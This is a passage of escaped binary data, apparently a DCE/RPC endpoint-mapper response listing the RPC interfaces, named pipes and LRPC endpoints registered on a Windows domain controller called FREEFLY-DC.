x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x01\x01\x00\t\x04\x00\x00\x00\x00\x00\xcca\x00\x00\x00a\x00\x00\x00\x05\x00\x13\x00\r\x0c\xc5\xad0\xbc\\\xceF\x9a\x0e\x91\x91G\x89\xe2<\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0f\x00\\pipe\\eventlog\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xcc\xccI\x00\x00\x00I\x00\x00\x00\x04\x00\x13\x00\r\x0c\xc5\xad0\xbc\\\xceF\x9a\x0e\x91\x91G\x89\xe2<\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\t\x00eventlog\x00\xcc\xcc\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r\xf7\xaf\xbe\xf6\x19\x1e\xbbO\x9f\x8f\xb8\x9e \x183|\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x01\x01\x00\t\x04\x00\x00\x00\x00\x00\xcca\x00\x00\x00a\x00\x00\x00\x05\x00\x13\x00\r\xf7\xaf\xbe\xf6\x19\x1e\xbbO\x9f\x8f\xb8\x9e \x183|\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0f\x00\\pipe\\eventlog\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xcc\xccI\x00\x00\x00I\x00\x00\x00\x04\x00\x13\x00\r\xf7\xaf\xbe\xf6\x19\x1e\xbbO\x9f\x8f\xb8\x9e \x183|\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\t\x00eventlog\x00\xcc\xcc\xcc_\x00\x00\x00_\x00\x00\x00\x05\x00\x13\x00\rj\x07-U)\xcbDN\x8bj\xd1^Y\xe2\xc0\xaf\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\r\x00\\PIPE\\srvsvc\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rj\x07-U)\xcbDN\x8bj\xd1^Y\xe2\xc0\xaf\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x02\x01\x00\t\x04\x00\x00\x00\x00\x00\xcc^\x00\x00\x00^\x00\x00\x00\x05\x00\x13\x00\rj\x07-U)\xcbDN\x8bj\xd1^Y\xe2\xc0\xaf\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0c\x00\\PIPE\\atsvc\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccH\x00\x00\x00H\x00\x00\x00\x04\x00\x13\x00\rj\x07-U)\xcbDN\x8bj\xd1^Y\xe2\xc0\xaf\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x08\x00senssvc\x00`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\rj\x07-U)\xcbDN\x8bj\xd1^Y\xe2\xc0\xaf\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE7F700A20D38041EEBE253CC2C3D8\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\rj\x07-U)\xcbDN\x8bj\xd1^Y\xe2\xc0\xaf\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00IUserProfile2\x00\xcc\xcc_\x00\x00\x00_\x00\x00\x00\x05\x00\x13\x00\r \xe5\x98\xa3\x9a\xd5\xddK\xaaz<\x1e\x03\x03\xa5\x11\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\r\x00\\PIPE\\srvsvc\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r \xe5\x98\xa3\x9a\xd5\xddK\xaaz<\x1e\x03\x03\xa5\x11\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x02\x01\x00\t\x04\x00\x00\x00\x00\x00\xcc^\x00\x00\x00^\x00\x00\x00\x05\x00\x13\x00\r \xe5\x98\xa3\x9a\xd5\xddK\xaaz<\x1e\x03\x03\xa5\x11\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0c\x00\\PIPE\\atsvc\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccH\x00\x00\x00H\x00\x00\x00\x04\x00\x13\x00\r \xe5\x98\xa3\x9a\xd5\xddK\xaaz<\x1e\x03\x03\xa5\x11\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x08\x00senssvc\x00`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r \xe5\x98\xa3\x9a\xd5\xddK\xaaz<\x1e\x03\x03\xa5\x11\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE7F700A20D38041EEBE253CC2C3D8\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\r \xe5\x98\xa3\x9a\xd5\xddK\xaaz<\x1e\x03\x03\xa5\x11\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00IUserProfile2\x00\xcc\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r\x03mq\x98\xac\x89\xc7D\xbb\x8c(X$\xe5\x1cJ\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x02\x01\x00\t\x04\x00\x00\x00\x00\x00\xcc^\x00\x00\x00^\x00\x00\x00\x05\x00\x13\x00\r\x03mq\x98\xac\x89\xc7D\xbb\x8c(X$\xe5\x1cJ\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0c\x00\\PIPE\\atsvc\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccH\x00\x00\x00H\x00\x00\x00\x04\x00\x13\x00\r\x03mq\x98\xac\x89\xc7D\xbb\x8c(X$\xe5\x1cJ\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x08\x00senssvc\x00`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r\x03mq\x98\xac\x89\xc7D\xbb\x8c(X$\xe5\x1cJ\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE7F700A20D38041EEBE253CC2C3D8\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\r\x03mq\x98\xac\x89\xc7D\xbb\x8c(X$\xe5\x1cJ\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00IUserProfile2\x00\xcc\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rIY\xd3\x86\xc9\x83D@\xb4$\xdb621\xfd\x0c\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x02\x01\x00\t\x04\x00\x00\x00\x00\x00\xcc^\x00\x00\x00^\x00\x00\x00\x05\x00\x13\x00\rIY\xd3\x86\xc9\x83D@\xb4$\xdb621\xfd\x0c\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0c\x00\\PIPE\\atsvc\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccH\x00\x00\x00H\x00\x00\x00\x04\x00\x13\x00\rIY\xd3\x86\xc9\x83D@\xb4$\xdb621\xfd\x0c\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x08\x00senssvc\x00`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\rIY\xd3\x86\xc9\x83D@\xb4$\xdb621\xfd\x0c\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE7F700A20D38041EEBE253CC2C3D8\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\rIY\xd3\x86\xc9\x83D@\xb4$\xdb621\xfd\x0c\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00IUserProfile2\x00\xcc\xcc^\x00\x00\x00^\x00\x00\x00\x05\x00\x13\x00\r\xb0R\x8e7\xa9\xc0\xcf\x11\x82-\x00\xaa\x00Q\xe4\x0f\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0c\x00\\PIPE\\atsvc\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccH\x00\x00\x00H\x00\x00\x00\x04\x00\x13\x00\r\xb0R\x8e7\xa9\xc0\xcf\x11\x82-\x00\xaa\x00Q\xe4\x0f\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x08\x00senssvc\x00`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r\xb0R\x8e7\xa9\xc0\xcf\x11\x82-\x00\xaa\x00Q\xe4\x0f\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE7F700A20D38041EEBE253CC2C3D8\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\r\xb0R\x8e7\xa9\xc0\xcf\x11\x82-\x00\xaa\x00Q\xe4\x0f\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00IUserProfile2\x00\xcc\xcc^\x00\x00\x00^\x00\x00\x00\x05\x00\x13\x00\r\x82\x06\xf7\x1fQ\n\xe80\x07mt\x0b\xe8\xce\xe9\x8b\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0c\x00\\PIPE\\atsvc\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccH\x00\x00\x00H\x00\x00\x00\x04\x00\x13\x00\r\x82\x06\xf7\x1fQ\n\xe80\x07mt\x0b\xe8\xce\xe9\x8b\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x08\x00senssvc\x00`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r\x82\x06\xf7\x1fQ\n\xe80\x07mt\x0b\xe8\xce\xe9\x8b\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE7F700A20D38041EEBE253CC2C3D8\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\r\x82\x06\xf7\x1fQ\n\xe80\x07mt\x0b\xe8\xce\xe9\x8b\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00IUserProfile2\x00\xcc\xccH\x00\x00\x00H\x00\x00\x00\x04\x00\x13\x00\r\x1c\xeft\n\xa4A\x06N\x83\xae\xdct\xfb\x1c\xddS\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x08\x00senssvc\x00`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r\x1c\xeft\n\xa4A\x06N\x83\xae\xdct\xfb\x1c\xddS\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE7F700A20D38041EEBE253CC2C3D8\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\r\x1c\xeft\n\xa4A\x06N\x83\xae\xdct\xfb\x1c\xddS\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00IUserProfile2\x00\xcc\xccH\x00\x00\x00H\x00\x00\x00\x04\x00\x13\x00\r\xb5m\xac\xc9\xb7\x82UN\xae\x8a\xe4d\xed{Bw\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x08\x00senssvc\x00`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r\xb5m\xac\xc9\xb7\x82UN\xae\x8a\xe4d\xed{Bw\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE7F700A20D38041EEBE253CC2C3D8\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\r\xb5m\xac\xc9\xb7\x82UN\xae\x8a\xe4d\xed{Bw\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00IUserProfile2\x00\xcc\xcc`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r>\x8e\xb0.\x9fc\xbaO\x97\xb1\x14\xf8x\x96\x10v\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE7F700A20D38041EEBE253CC2C3D8\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\r>\x8e\xb0.\x9fc\xbaO\x97\xb1\x14\xf8x\x96\x10v\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00IUserProfile2\x00\xcc\xcc`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r\xb5m\xac\xc9\xb7\x82UN\xae\x8a\xe4d\xed{Bw\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE7F700A20D38041EEBE253CC2C3D8\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\r\xb5m\xac\xc9\xb7\x82UN\xae\x8a\xe4d\xed{Bw\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00IUserProfile2\x00\xcc\xccN\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\r\xb5m\xac\xc9\xb7\x82UN\xae\x8a\xe4d\xed{Bw\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00IUserProfile2\x00\xcc\xccd\x00\x00\x00d\x00\x00\x00\x05\x00\x13\x00\rM\xdds4\x88.\x06@\x9c\xba"W\t\t\xdd\x10\x05\x00\x02\x00\x01\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x12\x00\\PIPE\\W32TIME_ALT\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00L\x00\x00\x00L\x00\x00\x00\x04\x00\x13\x00\rM\xdds4\x88.\x06@\x9c\xba"W\t\t\xdd\x10\x05\x00\x02\x00\x01\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0c\x00W32TIME_ALT\x00X\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\rM\xdds4\x88.\x06@\x9c\xba"W\t\t\xdd\x10\x05\x00\x02\x00\x01\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-e096b877a0c1c7e4dc\x00`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\rM\xdds4\x88.\x06@\x9c\xba"W\t\t\xdd\x10\x05\x00\x02\x00\x01\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE59206968EBA94EAC82860D7A65BE\x00X\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r\xcf\x0b\xa7~\xafHjO\x89hjD\x07T\xd5\xfa\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-e096b877a0c1c7e4dc\x00`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r\xcf\x0b\xa7~\xafHjO\x89hjD\x07T\xd5\xfa\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE59206968EBA94EAC82860D7A65BE\x00X\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r\x82&\xb9/\x99e\xdcB\xae\x13\xbd,\xa8\x9b\xd1\x1c\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-529ca01a24709db950\x00X\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r\xbf\x11\x9d\x7f\xb9\x7fkC\xa8\x12\xb2\xd5\x0c]L\x03\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-529ca01a24709db950\x00X\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r%\x04I\xdd%SeE\xb7t~\'\xd6\xc0\x9c$\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-529ca01a24709db950\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x06\x01\x00\t\x04\x00\x00\x00\x00\x00\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x1f\x02\x00\xc0\x05\x01\x00\t\x04\x00\x00\x00\x00\x00\xccI\x00\x00\x00I\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\t\x00NTDS_LPC\x00\xcc\xcc\xcc`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLEA42FB87E2EF04FE2895FA42C2387\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x03\x01\x00\t\x04\x00\x00\x00\x00\x00\xccJ\x00\x00\x00J\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\n\x00samss lpc\x00\xcc\xccG\x00\x00\x00G\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x07\x00dsrole\x00\xccj\x00\x00\x00j\x00\x00\x00\x05\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x18\x00\\PIPE\\protected_storage\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccR\x00\x00\x00R\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x12\x00protected_storage\x00\xcc\xccK\x00\x00\x00K\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0b\x00lsasspirpc\x00\xccP\x00\x00\x00P\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd